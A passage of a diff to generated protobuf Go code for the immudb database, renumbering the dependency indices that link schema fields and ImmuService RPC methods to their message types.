immudb.schema.NullableUint32 - 76, // 99: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 75, // 100: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 75, // 101: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 75, // 102: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 103: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 104: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 105: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 106: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 75, // 107: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 - 80, // 108: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds - 75, // 109: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 110: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 115, // 111: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 94, // 112: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 36, // 113: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 96, // 114: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 38, // 115: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 40, // 116: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 126, // 117: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 127, // 118: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 128, // 119: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 129, // 120: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 121: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 67, // 122: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 104, // 123: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 81, // 124: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 109, // 125: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 109, // 126: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 115, // 127: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 111, // 128: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 129: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 130, // 130: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 131, // 131: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 113, // 132: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 114, // 133: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 115, // 134: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 132, // 135: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 136: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 76, // 137: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 80, // 138: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 80, // 139: immudb.schema.TruncateDatabaseRequest.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds - 115, // 140: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 115, // 141: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 133, // 142: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 143: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 144: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 99, // 145: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 100, // 146: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 147: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 148: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 149: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 133, // 150: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 133, // 151: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 116, // 152: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 133, // 153: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 133, // 154: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 107, // 155: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 156: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 157: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 133, // 158: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 159: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 160: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 161: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 162: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 163: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 164: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 165: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 166: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 167: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 133, // 168: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 169: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 170: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 171: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 172: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 173: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 133, // 174: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 133, // 175: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 133, // 176: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 177: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 178: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 179: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 180: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 181: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 182: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 183: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 184: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 85, // 185: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 87, // 186: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 89, // 187: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 133, // 188: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 102, // 189: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 190: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 191: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 192: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 133, // 193: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 194: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 91, // 195: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 133, // 196: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 197: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 105, // 198: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 199: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 105, // 200: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 201: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 202: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 203: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 105, // 204: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 205: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 105, // 206: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 107, // 207: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 208: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 133, // 209: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 93, // 210: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 95, // 211: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 121, // 212: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 213: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 133, // 214: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 133, // 215: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 133, // 216: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 133, // 217: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 133, // 218: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 133, // 219: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 220: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 133, // 221: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 133, // 222: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 117, // 223: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 111, // 224: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 133, // 225: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 133, // 226: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 112, // 227: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 228: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 133, // 229: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 230: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 231: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 232: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 233: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 234: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 235: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 236: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 237: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 238: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 239: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 240: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 241: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 242: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 243: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 244: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 245: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 246: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 247: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 248: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 249: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 250: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 251: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 252: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 133, // 253: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 133, // 254: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 255: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 86, // 256: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 88, // 257: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 90, // 258: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 101, // 259: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 103, // 260: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 98, // 261: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 133, // 262: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 263: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 264: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 265: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 92, // 266: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 133, // 267: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 105, // 268: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 269: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 105, // 270: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 271: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 105, // 272: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 105, // 273: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 105, // 274: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 275: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 105, // 276: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 277: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 110, // 278: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 112, // 279: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 112, // 280: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 112, // 281: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 97, // 282: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 122, // 283: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 213, // [213:284] is the sub-list for method output_type - 142, // [142:213] is the sub-list for method input_type - 142, // [142:142] is the sub-list for extension type_name - 142, // [142:142] is the sub-list for extension extendee - 0, // [0:142] is the sub-list for field type_name + 83, // 81: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings + 78, // 82: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 79, // 83: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 79, // 84: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 75, // 85: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 79, // 86: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 79, // 87: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 78, // 88: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 75, // 89: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 75, // 90: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 75, // 91: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 78, // 92: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool + 80, // 93: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 80, // 94: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds + 75, // 95: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 96: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 97: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 75, // 98: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 75, // 99: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 76, // 100: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 75, // 101: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 75, // 102: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 75, // 103: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 104: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 105: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 106: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 107: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 75, // 108: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 80, // 109: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 75, // 110: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 111: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 116, // 112: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 95, // 113: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 36, // 114: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 97, // 115: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 38, // 116: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 40, // 117: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 127, // 118: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 128, // 119: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 129, // 120: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 130, // 121: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 122: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 67, // 123: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 105, // 124: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 81, // 125: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 110, // 126: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 110, // 127: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 116, // 128: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 112, // 129: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 130: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 131, // 131: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 132, // 132: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 114, // 133: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 115, // 134: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 116, // 135: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 133, // 136: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 137: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 76, // 138: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 80, // 139: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 80, // 140: immudb.schema.TruncateDatabaseRequest.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 116, // 141: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 116, // 142: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 134, // 143: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 144: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 145: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 100, // 146: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 101, // 147: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 148: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 149: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 150: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 134, // 151: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 134, // 152: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 117, // 153: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 134, // 154: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 134, // 155: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 108, // 156: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 157: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 158: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 134, // 159: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 160: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 161: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 162: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 163: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 164: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 165: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 166: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 167: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 168: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 134, // 169: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 170: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 171: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 172: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 173: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 174: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 134, // 175: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 134, // 176: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 134, // 177: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 178: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 179: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 180: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 181: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 182: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 183: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 184: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 185: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 86, // 186: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 88, // 187: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 90, // 188: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 134, // 189: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 103, // 190: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 191: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 192: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 193: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 134, // 194: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 195: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 92, // 196: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 134, // 197: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 198: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 106, // 199: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 200: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 106, // 201: 